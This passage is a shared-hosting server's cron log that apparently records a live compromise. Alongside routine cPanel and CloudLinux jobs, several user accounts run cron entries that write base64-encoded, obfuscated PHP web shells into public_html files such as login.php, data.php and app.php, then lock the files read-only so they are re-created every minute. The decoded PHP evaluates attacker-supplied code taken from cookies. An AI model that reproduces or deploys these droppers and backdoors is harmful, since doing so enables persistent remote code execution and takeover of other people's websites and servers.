EkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:19:02 medusa CROND[3527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:19:02 medusa CROND[3532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:19:02 medusa CROND[3533]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:19:02 medusa CROND[3535]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:19:02 medusa CROND[3536]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:19:02 medusa CROND[3540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:19:02 medusa CROND[3541]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:19:02 medusa CROND[3542]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:19:02 medusa CROND[3543]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:19:02 medusa CROND[3544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:19:02 medusa CROND[3547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:19:02 medusa CROND[3546]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:20:01 medusa CROND[5145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:20:01 medusa CROND[5149]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:20:01 medusa CROND[5153]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5162]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:20:02 medusa CROND[5163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:20:02 medusa CROND[5164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:20:02 medusa CROND[5165]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:20:02 medusa CROND[5166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:20:02 medusa CROND[5167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:20:02 medusa CROND[5171]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:20:02 medusa CROND[5173]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:20:02 medusa CROND[5168]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:20:02 medusa CROND[5175]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:20:02 medusa CROND[5170]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5176]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:20:02 medusa CROND[5177]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:20:02 medusa CROND[5188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5190]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:20:02 medusa CROND[5193]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:20:02 medusa CROND[5194]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 05:20:02 medusa CROND[5197]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5203]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:20:02 medusa CROND[5183]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:20:02 medusa CROND[5206]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:20:02 medusa CROND[5192]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5202]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5209]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 05:20:02 medusa CROND[5204]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:21:02 medusa CROND[6758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
